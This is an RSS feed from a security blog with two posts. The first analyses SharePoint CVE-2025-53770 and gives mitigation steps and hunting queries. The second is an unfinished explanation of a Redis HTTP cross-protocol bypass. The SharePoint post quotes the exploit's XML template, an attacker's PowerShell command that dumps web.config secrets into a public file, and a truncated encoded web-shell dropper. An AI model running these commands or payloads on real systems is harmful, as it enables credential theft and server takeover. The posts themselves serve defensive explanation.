<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>HackMap Blog</title>
        <description>A blog about hacking, security, and technology.</description>
        <link>https://blog.sarper.me/</link>
        <atom:link href="https://blog.sarper.me/feed.xml" rel="self" type="application/rss+xml"/>
        <pubDate>Tue, 22 Jul 2025 23:19:08 +0000</pubDate>
        <lastBuildDate>Tue, 22 Jul 2025 23:19:08 +0000</lastBuildDate>
        <generator>Jekyll v3.9.2</generator>
        
            <item>
                <title>SharePoint&apos;s Zero-Day Nightmare: Unpacking CVE-2025-53770 and Why Patching Isn&apos;t Enough</title>
                <description>&lt;p&gt;You did the right thing. You saw the alerts, you scrambled the team and you patched SharePoint. You followed the playbook. The server is updated. The vulnerability is gone.&lt;/p&gt;

&lt;p&gt;But there’s a cold feeling in your gut. A thought that keeps you up at night, pulled straight from the mouths of your fellow sysadmins: &lt;em&gt;What is even in our SharePoint?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It’s a digital attic. A data graveyard with no map. Years of contracts, PII, stale credentials and forgotten projects. And a nasty new zero-day, &lt;strong&gt;CVE-2025-53770&lt;/strong&gt;, just kicked the door in. If someone got in, you’d have a hard time saying what they saw or what they took.&lt;/p&gt;

&lt;p&gt;Let’s be clear: this isn’t just a vulnerability. It’s a full-blown identity crisis for anyone running SharePoint on-premises.&lt;/p&gt;

&lt;!-- ![](/images/image-ab42dfde.jpg) --&gt;

&lt;h3 id=&quot;the-target-sharepoints-unseen-kingdom&quot;&gt;The Target: SharePoint’s Unseen Kingdom&lt;/h3&gt;

&lt;p&gt;First, you have to respect the target. On-premises SharePoint isn’t just a document library; for many organizations, it’s the central nervous system. It’s deeply integrated with Office, Teams and Outlook. It holds the crown jewels:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Sensitive Data:&lt;/strong&gt; HR records, financial reports, legal contracts.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Intellectual Property:&lt;/strong&gt; Source code, strategic plans, research.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Infrastructure Secrets:&lt;/strong&gt; Internal configurations, passwords and service account details buried in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web.config&lt;/code&gt; files.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A breach here isn’t a simple data leak. It’s a catastrophic failure. As Palo Alto Networks’ Unit 42 put it, a compromise “doesn’t stay contained, it opens the door to the entire network.” They—and CISA—are urging anyone with an internet-facing on-prem SharePoint server to &lt;strong&gt;assume they have been compromised.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-prequel-the-toolshell-chain&quot;&gt;The Prequel: The “ToolShell” Chain&lt;/h3&gt;

&lt;p&gt;To understand this new nightmare, you have to know the one that came before it. In May, researchers chained two bugs (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2025-49704&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2025-49706&lt;/code&gt;) at Pwn2Own to get remote code execution (RCE). They called it “ToolShell.”&lt;/p&gt;

&lt;p&gt;Microsoft patched it in July. Case closed, right?&lt;/p&gt;

&lt;p&gt;Wrong. The attackers just found a better way in. &lt;strong&gt;CVE-2025-53770&lt;/strong&gt; is a variant, a clever bypass of the original fix. It’s more potent, unauthenticated and scores a blistering &lt;strong&gt;9.8 CRITICAL&lt;/strong&gt; on the CVSS scale.&lt;/p&gt;

&lt;h3 id=&quot;the-bypass-how-an-unauthenticated-attacker-owns-your-server&quot;&gt;The Bypass: How an Unauthenticated Attacker Owns Your Server&lt;/h3&gt;

&lt;p&gt;This isn’t a brute-force attack. It’s an elegant abuse of trust. The vulnerability is a classic case of &lt;strong&gt;Deserialization of Untrusted Data (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CWE-502&lt;/code&gt;)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The attacker targets a specific, obscure endpoint: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/_layouts/15/ToolPane.aspx&lt;/code&gt;. They send a request to edit a web part that shouldn’t be editable. Inside this request, they inject a malicious XML payload.&lt;/p&gt;

&lt;p&gt;This is what the skeleton key looks like, according to the public proof-of-concept:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;asp:UpdateProgress&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ID=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;UpdateProgress1&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;runat=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;server&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;AssociatedUpdatePanelID=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upTest&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;ProgressTemplate&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;divWaiting&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;Scorecard:ExcelDataSet&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;CompressedDataTable=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{PAYLOAD}&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;DataTable-CaseSensitive=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;false&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;runat=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;server&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/ProgressTemplate&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/asp:UpdateProgress&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The magic is in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Scorecard:ExcelDataSet&amp;gt;&lt;/code&gt; component and its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CompressedDataTable&lt;/code&gt; attribute. The attacker crafts a malicious .NET object (a “gadget chain”), serializes it, compresses it with GZIP and Base64-encodes it. This toxic blob becomes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{PAYLOAD}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When SharePoint receives this, it dutifully decodes, decompresses and deserializes the object to process it. It doesn’t check &lt;em&gt;what&lt;/em&gt; it’s deserializing. And in that moment, the attacker’s code runs with the permissions of the IIS worker process (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt;). Game over.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/image-04ad50c0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-heist-what-attackers-are-doing-right-now&quot;&gt;The Heist: What Attackers Are Doing Right Now&lt;/h3&gt;

&lt;p&gt;Security researchers at Unit 42 have seen this exploit in the wild and it’s ugly. Attackers aren’t just popping shells; they’re systematically dismantling your security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Variation 1: Stealing Secrets&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;First, they go for the keys to the kingdom. They execute a PowerShell command to hunt for all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web.config&lt;/code&gt; files and dump their contents into a public-facing JavaScript file. These files often contain database connection strings, API keys and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;validationKey&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decryptionKey&lt;/code&gt; for the server.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ls -r C:\inetpub\wwwroot\wss\VirtualDirectories -i web.config | select -exp fullname | % { gc &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; | Out-File -Append C:\&apos;Program Files&apos;\&apos;Common Files&apos;\&apos;microsoft shared&apos;\&apos;Web Server Extensions&apos;\16\TEMPLATE\LAYOUTS\debug_dev.js}&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Variation 2 &amp;amp; 3: Planting a Permanent Backdoor&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Next, they establish persistence. The IIS process (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt;) is seen spawning a command shell to run a Base64-encoded PowerShell script.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;cmd.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/c&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;powershell&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-enc&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JABiAGEAcwBlADYANABzAHQAcgBpAG4AZwAgAD0AIAAiAEgAVABUAUAAvADEALgAxACAA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;AgAGwAZQBlAHAAKAAxADAAMAApADsA&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This alphabet soup decodes into a script that writes a web shell, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spinstall0.aspx&lt;/code&gt;, deep inside the SharePoint layouts directory. This shell allows them to execute commands, steal more credentials and forge authentication keys to impersonate any user—bypassing MFA and SSO entirely. The attackers are so thorough they even have variations that write to different SharePoint version directories (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.../15/TEMPLATE/...&lt;/code&gt; for 2013/2016 and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.../16/TEMPLATE/...&lt;/code&gt; for 2019/Subscription).&lt;/p&gt;

&lt;h3 id=&quot;the-damage-control-your-new-battle-plan&quot;&gt;The Damage Control: Your New Battle Plan&lt;/h3&gt;

&lt;p&gt;Feeling paranoid? Good. Now, let’s channel that into action. This is not a standard patch-and-move-on scenario. This is incident response.&lt;/p&gt;

&lt;h4 id=&quot;step-0-assume-breach&quot;&gt;Step 0: Assume Breach&lt;/h4&gt;
&lt;p&gt;If you have an on-prem SharePoint server, especially one exposed to the internet, &lt;strong&gt;act as if you are already compromised.&lt;/strong&gt; Patching alone will not evict an attacker who has already established a foothold.&lt;/p&gt;

&lt;h4 id=&quot;step-1-patch-immediately&quot;&gt;Step 1: Patch Immediately&lt;/h4&gt;
&lt;p&gt;Microsoft has released security updates. These are cumulative and absolutely critical. Apply them now.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Product&lt;/th&gt;
      &lt;th&gt;Security Update&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=108287&quot;&gt;KB5002768&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Microsoft SharePoint Server 2019&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=108287&quot;&gt;KB5002754&lt;/a&gt; and Language Pack &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=108287&quot;&gt;KB5002753&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Microsoft SharePoint Server 2016&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=108289&quot;&gt;KB5002760&lt;/a&gt; and Language Pack &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=108289&quot;&gt;KB5002759&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h4 id=&quot;step-2-enable-amsi-antimalware-scan-interface&quot;&gt;Step 2: Enable AMSI (Antimalware Scan Interface)&lt;/h4&gt;
&lt;p&gt;This is your most powerful mitigation. AMSI allows your antivirus solution (like Microsoft Defender) to inspect the content of requests &lt;em&gt;before&lt;/em&gt; they are processed by SharePoint. According to Microsoft, this protects you from this specific unauthenticated attack vector.&lt;/p&gt;

&lt;p&gt;If you can’t enable AMSI, CISA’s advice is blunt: &lt;strong&gt;disconnect the server from the internet.&lt;/strong&gt;&lt;/p&gt;

&lt;h4 id=&quot;step-3-rotate-your-keys-then-rotate-them-again&quot;&gt;Step 3: Rotate Your Keys. Then Rotate Them Again.&lt;/h4&gt;
&lt;p&gt;An attacker with your machine keys can forge authentication cookies forever. You must invalidate them. Microsoft’s updated guidance is a multi-step process:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Rotate your ASP.NET machine keys &lt;em&gt;before&lt;/em&gt; patching.&lt;/li&gt;
  &lt;li&gt;Apply the security updates from Step 1.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rotate your ASP.NET machine keys again.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Restart IIS on all SharePoint servers (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iisreset.exe&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Use PowerShell to manage the key rotation:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Generate the machine key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-SPMachineKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-WebApplication&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SPWebApplicationPipeBind&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# Deploy the key to the farm&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Update-SPMachineKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-WebApplication&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SPWebApplicationPipeBind&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;step-4-hunt-for-intruders&quot;&gt;Step 4: Hunt for Intruders&lt;/h4&gt;
&lt;p&gt;You need to actively look for footprints. Microsoft and Unit 42 have provided hunting queries for their security tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Microsoft 365 Defender - Look for the webshell:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DeviceFileEvents
| where FolderPath has_any (@&apos;microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS&apos;, @&apos;microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS&apos;)
| where FileName has &quot;spinstall0&quot;
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath, ReportId, ActionType, SHA256
| order by Timestamp desc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Cortex XDR - Look for suspicious file writes:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// Description: This query identifies specific files being written to the observed file paths during exploitation.
dataset = xdr_data
| fields _time, agent_hostname, causality_actor_process_image_name, causality_actor_process_command_line, actor_process_image_name, actor_process_command_line, action_file_name, action_file_path, action_file_extension, action_file_sha256, event_type, event_sub_type
| filter event_type = ENUM.FILE and event_sub_type in (ENUM.FILE_WRITE, ENUM.FILE_CREATE_NEW) and lowercase(action_file_path) ~= &quot;web server extensions\\1[5-6]\\template\\layouts&quot; and lowercase(action_file_extension) in (&quot;asp&quot;, &quot;aspx&quot;, &quot;js&quot;, &quot;txt&quot;, &quot;css&quot;)
| filter lowercase(actor_process_image_name) in (&quot;powershell.exe&quot;, &quot;cmd.exe&quot;, &quot;w3wp.exe&quot;)
| comp values(action_file_name) as action_file_name, values(action_file_path) as action_file_path, values(actor_process_command_line) as actor_process_command_line by agent_hostname, actor_process_image_name addrawdata = true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;conclusion-the-game-never-ends&quot;&gt;Conclusion: The Game Never Ends&lt;/h3&gt;

&lt;p&gt;This vulnerability is a brutal reminder of a lesson we keep having to learn: the most dangerous attacks don’t just break the rules; they weaponize them. They use the system’s own features against it with devastating precision.&lt;/p&gt;

&lt;p&gt;The panic over &lt;strong&gt;CVE-2025-53770&lt;/strong&gt; isn’t just about a technical flaw. It’s about the sudden, terrifying realization that we are often custodians of data we don’t fully understand or govern. You can patch the server, but you can’t patch a decade of digital sprawl overnight.&lt;/p&gt;

&lt;p&gt;The real monster isn’t the zero-day. It was the data graveyard we let it roam in. Don’t let them find the ghosts in your machine.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;frequently-asked-questions-faq&quot;&gt;Frequently Asked Questions (FAQ)&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What is CVE-2025-53770?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is a critical remote code execution (RCE) vulnerability in on-premises Microsoft SharePoint Server. It allows an unauthenticated attacker to execute code over the network by exploiting an insecure deserialization flaw. It has a CVSS score of 9.8 and is being actively exploited in the wild.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is my SharePoint Online (Microsoft 365) instance affected?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No. Microsoft has confirmed that SharePoint Online is &lt;strong&gt;not impacted&lt;/strong&gt; by this vulnerability. This issue applies only to on-premises installations of SharePoint Server 2016, SharePoint Server 2019 and SharePoint Server Subscription Edition.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the first thing I should do to protect my servers?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your immediate priorities are:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Apply the latest security updates&lt;/strong&gt; from Microsoft.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Ensure AMSI integration is enabled&lt;/strong&gt; with a compatible antivirus solution like Microsoft Defender.&lt;/li&gt;
  &lt;li&gt;If you cannot do the above, &lt;strong&gt;disconnect your SharePoint server from the internet&lt;/strong&gt; until it can be secured.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;How do I know if I’ve been compromised?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Assume you have been and investigate. Use the hunting queries provided in this article to search your logs for signs of exploitation, such as the creation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spinstall0.aspx&lt;/code&gt; webshell or commands reading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web.config&lt;/code&gt; files. Check for unusual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt; process behavior. A full compromise assessment from a professional incident response team is highly recommended.&lt;/p&gt;
</description>
                <pubDate>Tue, 22 Jul 2025 22:15:00 +0000</pubDate>
                <link>https://blog.sarper.me/blog/cve-2025-53770</link>
                <guid isPermaLink="true">https://blog.sarper.me/blog/cve-2025-53770</guid>
                
                <category>Cybersecurity</category>
                
                <category>SharePoint</category>
                
                <category>Zero-Day</category>
                
                <category>CVE</category>
                
                
            </item>
        
            <item>
                <title>Unraveling a Clever Redis Exploit to Secure Your In-Memory Data Store - Interacting Redis over HTTP</title>
                <description>&lt;p&gt;You think your Redis is a fortress. You’ve heard the campfire stories about old hacks, the cross-protocol weirdness that got patched ages ago. You’ve set a password, maybe even tucked it behind a firewall. You’re safe.&lt;/p&gt;

&lt;p&gt;But there’s a ghost in the machine. A clever little exploit that doesn’t bother with the walls. It walks right past the bouncer at the front door because it knows something the bouncer doesn’t.&lt;/p&gt;

&lt;p&gt;Let’s pull back the curtain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/Redis-Fortress-3578f17d.jpg&quot; alt=&quot;Redis Fortress&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-target-why-redis-is-a-hackers-goldmine&quot;&gt;The Target: Why Redis is a Hacker’s Goldmine&lt;/h3&gt;

&lt;p&gt;First, you gotta understand what Redis is and why it’s such a juicy target. It’s not just a database; it’s an &lt;strong&gt;in-memory data store&lt;/strong&gt;. That means it’s screaming fast. Developers use it for the stuff that needs to happen &lt;em&gt;right now&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Caching:&lt;/strong&gt; The data that makes your site feel snappy.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Session Stores:&lt;/strong&gt; The keys to the kingdom. Literally. The bits of data that prove who your users are, what’s in their shopping carts, and whether they’re an admin or a regular Joe.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Real-Time Data:&lt;/strong&gt; Leaderboards, notifications, live analytics.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Breaching Redis isn’t just a data leak. It’s a full-blown system compromise waiting to happen. It’s how an attacker goes from an outsider to holding the keys to every user’s account. This is why its &lt;strong&gt;cyber security&lt;/strong&gt; isn’t a “nice-to-have.” It’s everything.&lt;/p&gt;

&lt;h3 id=&quot;the-old-guard-how-redis-tried-to-defend-itself&quot;&gt;The Old Guard: How Redis Tried to Defend Itself&lt;/h3&gt;

&lt;p&gt;To get how the new hack works, you have to know the old one. Hackers figured out they could talk HTTP to a Redis port. They’d send a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request. Redis isn’t a web server, so it would just toss the headers. But it might accidentally run commands it found in the request body. A huge security hole.&lt;/p&gt;

&lt;p&gt;The Redis team fought back. They were smart. They hired a bouncer for the club. A function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityWarningCommand&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// This is the bouncer. See a problem? Slam the door shut.&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;securityWarningCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;serverLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LL_WARNING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Possible SECURITY ATTACK detected... Connection aborted.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;freeClientAsync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Kills the connection&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then they gave the bouncer a tiny blocklist. The words &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host:&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// The blocklist. If you see these words at the start, call the bouncer.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redisCommand&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redisCommandTable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;securityWarningCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;host:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;securityWarningCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The plan was simple. If Redis saw a request start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host:&lt;/code&gt;, it would call the bouncer. The bouncer would kill the connection. Attack stopped. Simple. Clean. Right?&lt;/p&gt;

&lt;p&gt;Wrong.&lt;/p&gt;

&lt;h3 id=&quot;the-bypass-exploit-the-ghost-in-the-machine&quot;&gt;The Bypass Exploit: The Ghost in the Machine&lt;/h3&gt;

&lt;p&gt;Here’s the beautiful mistake. The fatal flaw. The bouncer was only trained to look for trouble at the very beginning of the conversation. The whole security plan depends on the &lt;em&gt;order&lt;/em&gt; things are seen.&lt;/p&gt;

&lt;p&gt;This exploit is all about timing. It’s a magic trick.&lt;/p&gt;

